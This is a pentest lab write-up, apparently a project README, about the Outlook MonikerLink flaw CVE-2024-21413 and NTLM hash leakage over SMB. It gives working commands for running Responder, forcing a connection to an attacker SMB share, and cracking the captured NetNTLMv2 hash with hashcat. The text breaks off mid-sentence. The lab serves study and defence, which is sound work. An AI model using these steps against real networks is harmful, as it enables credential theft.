
Laboratorio criado para PenTest da Vuln CVE 2024-214113(MONIKER LINK).
This project aimed to study the CVE-2024-21413 (MonikerLink) vulnerability, exploring how the SMB/NTLM protocol can be abused for credential capture.
Even after the official Microsoft patch, the lab shows that the concept remains valid in internal scenarios.
The vulnerability (CVE-2024-21413), known as MonikerLink, was classified as critical (CVSS 9.8). It occurs because Outlook processed "file://" links unsafely, using old COM APIs (Moniker Objects). These objects allowed Outlook to call external resources without going through Protected View, inducing the client to initiate SMB connections automatically.
It is a Windows feature that allows referencing COM objects via special links.
The original exploit abused "file://" links or UNC paths sent by email.
By adding the "!" character in the link, it was possible to bypass internal Outlook protections, forcing direct opening of the external resource.
This resulted in automatic NTLM authentication, exposing NetNTLMv2 hashes to the attacker without significant user interaction.
The patch KB5002519 specifically blocks this behavior in Outlook, preventing "file://" links from being processed this way.
However, Windows automatic NTLM continues to work outside the Outlook context, meaning any attempt to access SMB resources in an environment where NTLM is enabled and there are no authentication restrictions can still generate automatic hash sending.
📌 Relationship between Outlook, SMB/NTLM and Responder Original exploit: via spam email with malicious link → Outlook processed → NTLM authenticated automatically → attacker received hash.
Internal lab: we simulate only the conceptual part → we manually force the SMB connection → Responder captured the hash → Hashcat performed the cracking.
Why does it still work? Because NTLM is a legacy protocol that authenticates automatically on SMB connections, regardless of Outlook. The patch fixes the Outlook client, but does not eliminate NTLM behavior on Windows.


During testing, Outlook blocked file:// links coming from email, displaying a security alert:

The patch KB5002519, released in February 2024, mitigates the external vector via email by blocking file:// links.
However, the NTLM protocol still allows automatic authentication on SMB connections.
This means that although Outlook is protected against this specific exploit, the internal attack surface remains valid.
The root of the issue lies in the reliance on NTLM as an authentication mechanism, which remains susceptible to hash capture on SMB connections.
sudo responder -I eth0

Via Explorer, manually accessing:
\\<Attacker IP>\test.

Via terminal (cmd or PowerShell), using the command:
net use \\<Attacker IP>\test

/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

hashcat -m 5600 -a 0 ~/hash.txt /usr/share/wordlists/rockyou.txt
Note:
The actual password is not displayed for security reasons. The goal is to demonstrate the process and the vulnerability.

This lab evidenced that: